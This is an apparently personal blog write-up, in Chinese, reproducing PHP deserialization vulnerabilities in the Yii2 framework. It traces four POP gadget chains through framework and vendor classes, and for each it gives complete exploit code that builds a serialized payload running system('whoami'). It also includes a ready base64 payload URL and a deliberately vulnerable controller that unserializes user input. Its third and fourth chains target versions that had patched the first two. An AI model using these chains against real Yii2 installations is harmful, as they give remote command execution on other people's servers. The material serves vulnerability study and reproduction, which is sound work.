0x00 环境搭建
下载之后解压到web目录,修改 config/web.php
文件,给 cookieValidationKey
配置项添加一个密钥。
当前目录下运行 php yii serve
,默认端口为8080,可通过 --port=port
修改端口号。
0x01 源码分析
准备
反序列化漏洞复现需要一个反序列化的入口点,我们在 controllers
目录下新建一个 SerializeController.php
文件作为反序列化入口。
<?php
namespace app\controllers;
class SerializeController extends \yii\web\Controller
{
public function actionSerialize($data){
return unserialize(base64_decode($data));
}
}
?>
POP链1
出现反序列化漏洞的地方在 /vendor/yiisoft/yii2/db/BatchQueryResult.php
里的一个 __destruct()
函数。对象销毁后调用了 reset()
函数。
public function __destruct()
{
// make sure cursor is closed
$this->reset();
}
跟进查看一下 reset()
函数,这里的 _dataReader
是可控的,于是我们就可以通过控制 _dataReader
的值去访问其他类的 close()
函数。
public function reset()
{
if ($this->_dataReader !== null) {
$this->_dataReader->close();
}
$this->_dataReader = null;
$this->_batch = null;
$this->_value = null;
$this->_key = null;
}
在 /vendor/yiisoft/yii2/web/DbSession.php
下的 close()
函数
public function close()
{
if ($this->getIsActive()) {
// prepare writeCallback fields before session closes
$this->fields = $this->composeFields();
YII_DEBUG ? session_write_close() : @session_write_close();
}
}
会先进行一个判断,$this->getIsActive()
,在/vendor/yiisoft/yii2/web/Session.php
下。当判断会话是启用的,而且存在当前会话就会返回true。
public function getIsActive()
{
return session_status() === PHP_SESSION_ACTIVE;
}
回到刚才,跟进 composeFields()
,这里 $this->writeCallback
可控,所以可以执行 call_user_func($this->writeCallback, $this)
,但是这里参数是 $this
,我们只能调用无参数函数了。
protected function composeFields($id = null, $data = null)
{
$fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];
if ($id !== null) {
$fields['id'] = $id;
}
if ($data !== null) {
$fields['data'] = $data;
}
return $fields;
}
最后在 /vendor/yiisoft/yii2/rest/IndexAction.php
中的 run()
方法中, checkAccess
和 id
都是可控的,所以就达到到任意执行命令的目的。
public function run()
{
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}
return $this->prepareDataProvider();
}
最后,总结下来,就是通过 BatchQueryResult.php
的 __destruct()
调用 DbSession.php
的 close()
函数,然后调用了 MultiFieldSession.php
的 composeFields()
函数,接着调用 IndexAction.php
的 run()
函数来达到执行命令的目的。
exp如下:
<?php
namespace yii\db {
use yii\web\DbSession;
class BatchQueryResult
{
private $_dataReader;
public function __construct()
{
$this->_dataReader = new DbSession();
}
}
}
namespace yii\web {
use yii\rest\IndexAction;
class DbSession
{
public function __construct()
{
$a = new IndexAction();
$this->writeCallback = [$a, 'run'];;
}
}
}
namespace yii\rest {
class IndexAction
{
public function __construct()
{
$this->checkAccess = 'system';
$this->id = 'whoami';
}
}
}
namespace {
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
访问一下 http://localhost:8080/index.php?r=serialize/serialize&data=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo2OiJzeXN0ZW0iO3M6MjoiaWQiO3M6Njoid2hvYW1pIjt9aToxO3M6MzoicnVuIjt9fX0
出现执行了 system("whoami");
的结果,反序列化漏洞复现成功!
POP链2
入口点还是在 /vendor/yiisoft/yii2/db/BatchQueryResult.php
里的 __destruct()
函数。如果这里不去找 close()
函数,而是让某个不存在 close()
函数的类去调用 close()
函数从而触发 __call
方法。
在 \vendor\fzaninotto\faker\src\Faker\Generator.php
中的 __call
方法,因为 close
是无参方法,所以 __call
中的$method
是close
,attributes
为空。然后调用 format()
函数。
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
上面 call_user_func_array
中又调用了 getFormatter($formatter)
,由于这里的 $formatters
是可控的,所以这个函数的返回值就是可控的,也就是说可以调用任意函数,但是这里 $arguments
为空,只能调用无参函数,可以用到之前的 /vendor/yiisoft/yii2/rest/IndexAction.php
中的 run()
函数, checkAccess
和 id
都是可控的,可以任意执行命令。
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}
总结一下,从 BatchQueryResult.php
里的 __destruct()
函数进入,通过调用不存在 close()
函数的 Generator
类来触发 __call
,然后调用 IndexAction.php
中的 run()
函数来执行命令。
exp如下:
<?php
namespace yii\db {
use Faker\Generator;
use yii\web\DbSession;
class BatchQueryResult
{
private $_dataReader;
public function __construct()
{
$this->_dataReader = new Generator();
}
}
}
namespace Faker {
use yii\rest\IndexAction;
class Generator
{
protected $formatters;
public function __construct()
{
$this->formatters['close'] = [new IndexAction(), 'run'];
}
}
}
namespace yii\rest {
class IndexAction
{
public function __construct()
{
$this->checkAccess = 'system';
$this->id = 'whoami';
}
}
}
namespace {
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
POP链3
在2.0.38及以后的版本中,BatchQueryResult
类添加了 __wakeup()
方法,防止对 BatchQueryResult
类进行反序列化,所以之前的pop链都不能用了。
/**
* Unserialization is disabled to prevent remote code execution in case application
* calls unserialize() on user input containing specially crafted string.
* @see CVE-2020-15148
* @since 2.0.38
*/
public function __wakeup()
{
throw new \BadMethodCallException('Cannot unserialize ' . __CLASS__);
}
在 RunProcess.php
中也有一个符合条件的 __destruct()
方法。
public function __destruct()
{
$this->stopProcess();
}
跟进调用的函数,这里的 $this->processes
是可控的,也就是说 $process
也是可控的,之后 $process
调用了 isRunning()
,那么就可以通过他来触发 __call()
方法了,之后就和前面一样了。。
public function stopProcess()
{
foreach (array_reverse($this->processes) as $process) {
/** @var $process Process **/
if (!$process->isRunning()) {
continue;
}
$this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
$process->stop();
}
$this->processes = [];
}
exp:
<?php
namespace Codeception\Extension {
use Faker\Generator;
// use yii\web\DbSession;
class RunProcess
{
private $processes = [];
public function __construct()
{
$this->processes[] = new Generator();
}
}
}
namespace Faker {
use yii\rest\IndexAction;
class Generator
{
protected $formatters;
public function __construct()
{
$this->formatters['isRunning'] = [new IndexAction(), 'run'];
}
}
}
namespace yii\rest {
class IndexAction
{
public function __construct()
{
$this->checkAccess = 'system';
$this->id = 'whoami';
}
}
}
namespace {
use Codeception\Extension\RunProcess;
echo base64_encode(serialize(new RunProcess()));
}
POP链4
还有一处是以 /vendor/swiftmailer/swiftmailer/lib/classes/Swift/KeyCache/DiskKeyCache.php
的 Swift_KeyCache_DiskKeyCache
类的 __destruct
方法,调用了 $this->clearAll($nsKey);
public function __destruct()
{
foreach ($this->keys as $nsKey => $null) {
$this->clearAll($nsKey);
}
}
跟进看一下 clearAll()
函数,这里虽然没有之前那样调用某个类的函数,但是存在字符串的拼接,且 $this->path
和 $nsKey
可控, 也就是说可以调用 __toString()
方法。
public function clearAll($nsKey)
{
if (array_key_exists($nsKey, $this->keys)) {
foreach ($this->keys[$nsKey] as $itemKey => $null) {
$this->clearKey($nsKey, $itemKey);
}
if (is_dir($this->path.'/'.$nsKey)) {
rmdir($this->path.'/'.$nsKey);
}
unset($this->keys[$nsKey]);
}
}
在 /vendor/phpdocumentor/reflection-docblock/src/DocBlock/Tags/Deprecated.php
下的 __toString()
方法中,有 $this->description->render()
,那么就可以像之前一样调用 __call()
方法了。
public function __toString() : string
{
return ($this->version ?? '') . ($this->description ? ' ' . $this->description->render() : '');
}
exp:
<?php
namespace {
use phpDocumentor\Reflection\DocBlock\Tags\Deprecated;
class Swift_KeyCache_DiskKeyCache
{
private $keys = [];
private $path;
public function __construct()
{
$this->path = new Deprecated();
$this->keys = array(
'hello' => 'world'
);
}
}
}
namespace phpDocumentor\Reflection\DocBlock\Tags {
use Faker\Generator;
class Deprecated
{
protected $description;
public function __construct()
{
$this->description = new Generator();
}
}
}
namespace Faker {
use yii\rest\IndexAction;
class Generator
{
protected $formatters;
public function __construct()
{
$this->formatters['render'] = [new IndexAction(), 'run'];
}
}
}
namespace yii\rest {
class IndexAction
{
public function __construct()
{
$this->checkAccess = 'system';
$this->id = 'whoami';
}
}
}
namespace {
use Codeception\Extension\RunProcess;
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
0x02 小结
跟着大佬的博客复现了一下yii2框架的反序列化漏洞,学到了挺多,yii2的反序列化漏洞主要就是 __destruct()
、 __call()
、 __toString()
等魔术方法的灵活运用,以及 call_user_function
来进行函数调用,继续加油!
Comments | NOTHING